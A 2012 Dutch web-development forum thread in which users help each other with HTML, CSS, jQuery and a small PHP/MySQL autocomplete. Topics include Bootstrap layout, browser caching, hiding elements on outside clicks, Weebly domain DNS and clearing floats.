Dit topic is bedoeld voor alle vragen m.b.t. HTML, CSS en javascript, kortom alles wat je nodig hebt om (de frontend van) een website te maken.
HTML: Hyper Text Markup Language is de structuur van een website. Door middel van verschillende html tags geef je aan welke elementen bij elkaar horen (bijv: <div>, <ul>), of wat de betekenis van deze data is (bijv. <p>, <h1>). HTML leent zich ook voor opmaak, maar het is makkelijker en verstandiger om hier CSS voor te gebruiken.
CSS: Cascading StyleSheet is de opmaak van een website. In je CSS specificeer je bijvoorbeeld welke kleur bepaalde elementen moeten hebben, hoe groot ze zijn en hoe je ze wilt rangschikken.
JS: Javascript Javascript (niet te verwarren met programmeertaal Java) is een scripttaal, waarmee het mogelijk is je website dynamisch te maken. Javascript kan bijvoorbeeld HTML-elementen aanpassen, toevoegen of verwijderen. Omdat javascript zeer veelzijdig is, is er voor specifieke JS vragen ook een specaal topic, zie: [Javascript] voor dummies
Vragen over PHP, SQL of andere serverside programmeertalen horen niet in dit topic. Stel deze in [PHP/MySQL] voor dummies of open zelf een topic.
Voor vragen over webhosting, domeinnamen enz. is ook een ander topic: Het grote (betaalde) webhosting topic
En voor Wordpress is er ook een speciaal topic, als het om meer gaat dan de HTML/CSS van een theme: Topicreeks: Algemeen Wordpress topic
Code posten
Het is, als je een vraag stelt, vaak handig om hier een stukje code bij te voegen. Post niet klakkeloos je hele website, maar post alleen het stukje code waar je vraag over gaat. Gebruik bovendien de [code]-tag (
), zodat je HTML, CSS of Javascript code goed leesbaar is. Dus niet [quote] of [spoiler] of wat dan ook.Veel voorkomende problemen
Veel problemen zijn te wijden aan het niet kloppen van HTML of CSS code. Een kleine typfout is snel gemaakt, en de webbrowser kan daar soms erg slecht mee omgaan. Om te controleren of je code technisch in orde is, kun je deze controleren met de W3 validator.
Is je code niet correct? Los dan eerst de fouten op zodat de validator geen foutmeldingen meer geeft. Dit lost niet altijd je probleem op, maar zorgt in ieder geval dat alles werkt zoals het hoort te werken, waardoor overige fouten ook veel makkelijker te achterhalen zijn.
IK SNAP ER NIETS VAN HELLEP! WAT IS CSS?
We helpen iedereen graag in dit topic, ook mensen die er helemaal niets van begrijpen. Maar we verwachten wel dat je je best doet om het wel te gaan begrijpen. Lees eens wat tutorials en probeer het altijd eerst zelf. Je krijgt hier tips waar je zelf iets mee moet doen.
Voor je een vraag stel hier, verplichte kost
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
ah een artikel hier over gevonden
http://www.impressivewebs.com/before-after-css3/
Des te meer reden om 'm dubbel te zettenquote:Op vrijdag 9 november 2012 19:16 schreef picodealion het volgende:
IE struikelt daar soms nog over meen ik.
SPOILER
quote:Op zaterdag 10 november 2012 19:55 schreef picodealion het volgende:
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?
div "under_top" zit nu onder div "top"
Jawel, maar die </div> tags zie je niet. Ik heb alles laten collapsen om de structuur te laten zien.quote:Op zaterdag 10 november 2012 20:05 schreef KomtTijd... het volgende:
Ín top bedoel je? Je sluit er geeneen af (ja alleen #button).
Ik zou graag willen weten waarom "top" "under_top" overlapt, maar de rest gewoon wel netjes onder elkaar gezet wordt.quote:
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
Wat wil je zien?
http://pastebin.com/0GwJHmaPquote:Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
Ik denk dat ik de oplossing al heb. Ik moet alles met position: relative aanduiden in een nieuwe CSS file, dus niet die van Bootstrap (al zou dat natuurlijk ook kunnen, volgens mij).quote:
EDIT: Werkt niet.
Als ik margin-top: 50px; doe, dan komt de tekst wel onder de navigatiebalk uit, maar zo wil ik het niet. Ik wil gewoon dat de delen van de pagina's na elkaar komen en elkaar dus niet overlappen.
quote:
Je code. Liefst gewoon een online sample.
Gebruik jsfiddle.quote:
http://jsfiddle.net/6mVcp/quote:
<div class="navbar navbar-fixed-top"> moest zijn: <div class="navbar navbar-absolute-top">
Hier gevonden:
http://css-tricks.com/forums/discussion/16366/help-needed/p1
Thanks voor het meedenken!
Je gaat zelf toch ook niet lopen debuggen zonder firebug...
Online gooien, wat bedoel je daarmee?quote:Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.
Je gaat zelf toch ook niet lopen debuggen zonder firebug...
Firebug? Ook nog nooit van gehoord. Zal eens kijken wat het is.
web inspectorquote:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.
Je gaat zelf toch ook niet lopen debuggen zonder firebug...
..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
SPOILER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
if(isset($_POST['query'])) {
$connect = mysql_connect('localhost','root','') or die(mysql_error());
mysql_select_db('db', $connect) or die(mysql_error());
$query = mysql_real_escape_string($_POST['query']);
//mysql_query("SET NAMES 'utf8'");
$mysql_query = mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
while($row = mysql_fetch_assoc($mysql_query)) {
$array[] = $row['last_name'];
}
echo json_encode($array);
}
?>
En wát gaat er niet goed?quote:Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:
..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
tt.replace(/\)\(/\s\)\(\s/)
quote:
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:
[ afbeelding ]
..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
[ afbeelding ]SPOILER[ code verwijderd ]
| 1 2 3 4 5 6 | <?php $mysql_query = mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15"); while($row = mysql_fetch_assoc($mysql_query)) { $array[] = $row['last_name']; } ?> |
Ikzelf zou het zo doen:
| 1 2 3 4 5 6 7 8 9 | <?php $array = array(); $mysql_query = mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15"); while($row = mysql_fetch_assoc($mysql_query)) { array_push($array,$row['last_name']); } header('Content-type: application/json'); echo json_encode($return_array); ?> |
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
[ Bericht 6% gewijzigd door Merkie op 12-11-2012 12:42:43 ]
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?quote:
[..]
[ code verwijderd ]
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.
Ikzelf zou het zo doen:
[ code verwijderd ]
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.
Enne, voortaan inderdaad zeggen wat er niet goed gaat, lijkt me vrij essentiëel.
in de request en de reply daaropquote:
[..]
Ik heb 'm al in het JS-topic gepost.
Dit lijkt me inderdaad een goede optie, ik ga dat eens proberen.quote:
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
In het tabblad 'network' geeft 'ie wel een 404 fout, dus ik ben ook ergens weer verkeerd aan het linken, even checken...quote:
[..]
in de request en de reply daarop
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.quote:
[..]
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
| 1 2 3 | $("#typeahead").on("keydown", function(){ $(this).typeahead({source: <hier je Ajax-functie>}); }); |
Ga ik direct proberen.quote:
[..]
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.
[ code verwijderd ]
Wat er trouwens vaak gebeurd bij mij, is dat een verandering in de code niet goed wordt doorgevoerd in Chrome, terwijl ik wel gewoon refresh. Ik denk dat het iets te maken heeft met een gecached exemplaar, zou dat kunnen? Hoe testen jullie dit soort scripts?
De manier die ik je verteld heb gaat trouwens niet werken bedenk ik me net. Ajax is namelijk asynchroon, als je een Ajax-request uitvoert dan moet je het resultaat in het Ajax-request zelf gebruiken. Je kan niet zeggen: var test = ajaxRequest(bla);
Je moet dit ongeveer doen:
| 1 2 3 4 5 6 | $("#typeahead").on("keydown", function(){ $.ajax(bla).done(function(result) { var typeahead = $('#typeahead').typeahead(); typeahead.data('typeahead').source = result; }); }); |
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.quote:
.Ik moet nu steeds handmatig al m'n browsergegevens verwijderen, dan doet 'ie het wel.quote:
[..]
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.quote:
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
In IE10 werken placeholders eindelijk wel.quote:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IEquote:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
.vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt...quote:
[..]
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Uiteindelijk test je in alle browsers ja, maar voor de initiële ontwikkeling IE gebruiken, dan kom je wel met zulke kromme producten...quote:
[..]
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.quote:
[..]
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt... ongeacht of die corrupt is of niet...
een standaard apache installatie, en F5 is dan niet afdoende...quote:
[..]
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
overigens vermeld jou link het volgende:
quote:F5 may give you the same page even if the content is changed, because it may load the page from cache. But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content.
Gewoon Ctrl + F5 gebruiken dus.quote:
[..]
een standaard apache installatie, en F5 is dan niet afdoende...
overigens vermeld jou link het volgende:
[..]
nee, niet.quote:
Apache stuurt standaard echt geen 304 terug.quote:
[..]
een standaard apache installatie, en F5 is dan niet afdoende...
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:quote:
[..]
[ code verwijderd ]
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.
Ikzelf zou het zo doen:
[ code verwijderd ]
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
quote:array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:
<?php
$array[] = $var;
?>
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."quote:
[..]
nee, niet.
[..]
Apache stuurt standaard echt geen 304 terug.
Dat is toch precies wat ik wil?
Bij IE moet je er nooit vanuit gaan dat het doet wat het zou moeten doen.quote:
[..]
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."
Dat is toch precies wat ik wil?
en toch wordt alles uit cache gehaald als ik geen ctrl + f5 gebruik...quote:
[..]
nee, niet.
[..]
Apache stuurt standaard echt geen 304 terug.
Was ik al achter ja. Ik was met die syntax niet bekend.quote:Op maandag 12 november 2012 14:02 schreef Rockfire het volgende:
[..]
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:
[..]
Ik heb de functie eindelijk werkend gekregen. Niet helemaal zoals ik het eigenlijk wilde met typeahead van Bootstrap. Maar goed, het werkt, dus ik ben tevreden. Dank voor jullie hulp.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | $(document).ready(function() { $('#typeahead').keyup(function() { var search = $(this).attr('value'); $.post('/folder/ajax/search.php', {search:search}, function(data) { $('#result').html(data); $('#result').click(function() { var result_value = $(this).text(); $('#typeahead').attr('value', result_value); $('#result').html(''); }); }); }); }); |
[ Bericht 26% gewijzigd door pascal08 op 12-11-2012 14:58:12 ]
| 1 2 | var typeahead = $('#typeahead').typeahead(); typeahead.data('typeahead').source = result; |
.Ik ben Microsoft ontwikkelaar en op dit moment maak ik aanpassingen voor Microsoft Dynamics CRM 2011. Dus IE is mijn ontwikkel-browser. Ik zit zelfs nog op Windows XP met IE8quote:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
.
Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.
Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Of komt de website echt op www.voorbeelt.nl te staan?
Ik hoop dat het duidelijk is
Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Wat ik zo snel lees is het inderdaad zo dat www.voorbeelt.nl dan gekoppeld wordt aan voorbeelt.weebly.com en iemand die www.voorbeelt.nl intikt zal niet doorhebben dat hij op weebly.com zit.quote:
ff een vraagje voor de kenners.
Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.
Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Of komt de website echt op www.voorbeelt.nl te staan?
Ik hoop dat het duidelijk is
Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Kortom: je zorgt ervoor dat jouw domeinnaam naar Weebly verwijst.quote:
Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Ja.quote:Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Wat betekent dit? Hoe kan iets "echt op" een domein staan? Als je bedoeld dat je ook hosting bij je domein hebt en of er data van de Weeblysite bij jouw webhost terecht komt: nee.quote:Of komt de website echt op www.voorbeelt.nl te staan?
ik heb op mn site t volgende in mn CSS bestandje
| 1 2 3 4 5 6 7 | p { background: rgba(31, 31, 31, 0.8); padding: 8px; border-radius:10px; color: #FFFFFF; margin-left: 0px; } |
weet iemand hoe ik dit weg kan werken maar wel mn border radius behoudt aan de bovenkant van de bovenste en onderkant van de onderste p?
(die onderste groene balk is een afbeelding, let daar niet op)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
Soort van gedaan met wat toevoegingen van mezelf en t werkt, dankjewel!quote:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
Even wat over gelezen, heel handig! Dankjewelquote:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
Dat ga ik ook even doenquote:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
quote:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
quote:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
quote:
Ik heb nu:
| 1 2 3 4 | $('.selector').mouseout(function() { $('.selector').mouseup(function() { } } |
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.quote:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?
Ik heb nu:
[ code verwijderd ]
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
Simpeler kan niet?
Desnoods een plaatje in Div 2 maken met een knopje erin npquote:
[..]
Even wat over gelezen, heel handig! Dankjewel
quote:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?
Ik heb nu:
[ code verwijderd ]
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
| 1 | $('body').not('.selector').on('click', function() { }); |
Zoiets?
Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!quote:
[..]
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet?
Dit is dus wat ik zocht.quote:
[..]
[ code verwijderd ]
Zoiets?
Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
Ik heb er dit van gemaakt:| 1 2 3 4 5 6 7 | $(function() { $("body").click(function(e) { if ($(e.target).parents("#autosuggestcontainer").size() !== 1) { document.getElementById('autosuggestcontainer').style.visibility = 'hidden'; } }); }); |
[ Bericht 4% gewijzigd door pascal08 op 18-11-2012 18:36:37 ]
Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werktquote:
[..]
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!
[..]
Dit is dus wat ik zocht.
[ code verwijderd ]
.Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.| 1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id != 'autosuggestcontainer' || $(e.target).parents('#autosuggestcontainer').size()) { $('#autosuggestcontainer').hide(); } }); }); |
.Wat is precies het verschil?quote:
[..]
Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt
[ code verwijderd ]
Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed
Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.
Zo doet 'ie het wel weer. Wat vind je hiervan?
| 1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id != 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { document.getElementById('autosuggestcontainer').style.visibility = 'hidden'; } }); }); |
[ Bericht 7% gewijzigd door pascal08 op 18-11-2012 19:12:14 ]
Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller
.Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?quote:
[..]
Wat is precies het verschil?
Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.
Zo doet 'ie het wel weer. Wat vind je hiervan?
[ code verwijderd ]
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.quote:
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller
[ Bericht 0% gewijzigd door pascal08 op 18-11-2012 19:39:20 ]
Ik heb me nog helemaal niet verdiept in javascript en jQuery.quote:
[..]
Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
Ik zou het eigenlijk wel moeten doen, maar het leren van PHP heeft me ook enkele dagen gekost en ik wil nu zo langzamerhand beginnen met iets op te zetten. Hoe maak je nu "visibility:hidden" ongedaan dan?quote:
[..]
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.
Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.quote:
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:quote:
[..]
Hoe maak je nu "visibility:hidden" ongedaan dan?
Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
| 1 | document.getElementById("autosuggestcontainer").style.visibility="visible"; |
Het zal inderdaad verre van optimaal zijn, maar het werkt.
Stap 1 is iig, stop met klooien, breng structuur aan.quote:
[..]
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.
Dan veranderd je die regel toch in $('#element').show();?quote:
[..]
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:
[ code verwijderd ]
Het zal inderdaad verre van optimaal zijn, maar het werkt.
Ahh, gelukt!quote:
[..]
Dan veranderd je die regel toch in $('#element').show();?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | $(document).ready(function() { $('.search-query').keyup(function() { var search_term = $(this).attr('value'); if(!search_term) { $('.autosuggestlist').hide(); } else { $('.autosuggestlist').show(); $.post('/web_template/main/search_navbar', {search_term:search_term}, function(data) { $('.result-navbar').html(data); }); } }); }); |
En:
| 1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id !== 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { $('.autosuggestlist').hide(); } }); }); |
Nu beter?
Dat zag ik ook met Chrome: element inspecteren. Bedankt voor jullie tip.quote:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
en waar stonden die video's dan?quote:
[..]
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.
http://yuiblog.com/crockford/quote:
Youtube, phpacademy.quote:
dank maar ik doelde op die over php, had deze al gebookmarkedquote:
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleekquote:
Ja ik op zich ook wel maar ik weet nooit wat 'best practice' boeken/bronnen zijn. Als ik terugdenk met welke bronnen ik html en css heb geleerd:quote:
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
. Wil nu liever voorkomen dat ik het eerst vernaggeld leer waarna ik het mezelf opnieuw aan moet leren om geen bagger te produceren.anyway, eerst slapen anders komt er helemaal niks van
welterusten
Daar bestaat dit topic ook voor;quote:
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net
welterusten
DIG / [PHP/(My)SQL] voor dummies #105 Waar veiligheid > alles
meer genegeerd?quote:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
Het zijn verschillende properties met aparte functies.
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.quote:
Display:none is imho beter dan visibility:hidden
Ze hebben op de FP dit neergezet vandaag:
| 1 2 3 4 5 6 | $(document).ready(function(){ $('body').click(function (event){ window.open('http://ib.adnxs.com/clktrb?id=12742', 'hi', 'width=1000,height=800,scrollbars=yes'); event.preventDefault(); }); }); |
En toen brak de pleuris uit.
Heb nog geen reden gehoord waarom dit op Productie zo terecht is gekomenquote:
Denk ook niet dat ik dat te horen krijg.Danny kan weer op vakantie.quote:
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
_ dat is gewoon nevernooit getest geweest inderdaad.Mooiste is nog dat ze dus proberen te verbloemen dat het proces eromheen gewoonweg niet bestaand is. Of heel erg kut. Nee, 'we kunnen niet meekijken achter de schermen dus je weet niet hoe het is gegaan'.quote:Op dinsdag 20 november 2012 14:11 schreef KomtTijd... het volgende:
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit?
Ze vergeten dat we ook wel door naar de code te kijken kunnen zien dat het ronduit kut is gesteld met het proces.
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.quote:Op dinsdag 20 november 2012 13:51 schreef Scorpie het volgende:
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Kijk, dit vind ik dan alweer twintig keer betere uitleg dan in het FB topic. Dank je wel voor je antwoord, en ik snap dat het onder hoge druk gegaan is.quote:
[..]
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...
[ Bericht 56% gewijzigd door KomtTijd... op 20-11-2012 16:19:11 ]
als je de overflow waarin aanpast?quote:
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?
-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...
als je floated elementen in een element hebt heeft het parent element alleen zijn native hoogte (hoogte + padding + border) tenzij je box-sizing: border-box gebruikt in plaats van het default content-box.
Je kunt dmv een clear:both onder de gefloate elementen (<div style="clear:both"></div>) het parent element meetrekken in de hoogte.
Anything, behalve visible (default).quote:
Overflow specificeren op iets non-default heeft ook als resultaat dat het element weer om gefloate children heen wrapt, maar bij Webkit werkt dat nogal apart blijkbaar. Het element waar ik het over had verdween ineens rechts uit beeld omdat het vrolijk naast een eerder element was gaan staan, terwijl daar helemaal geen ruimte voor was. (conclusie: breedte = 0)
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing jaquote:
Of gewoon een img met een afbeelding van chuck norris
[ afbeelding ]
-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
Je kunt ook met een .clear class werken op je floating elements:quote:
[..]
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | .clear{ zoom:1; } .clear:before{ display:table; content:""; } .clear:after{ clear:both; content:"."; display:block; font-size:0; height:0; visibility:hidden; } |
...nog steeds way lelijker dan gewoon overflow:hidden gebruiken als het een klassiek "mijn wrapper schaalt niet mee"-probleem betref.tquote:
[..]
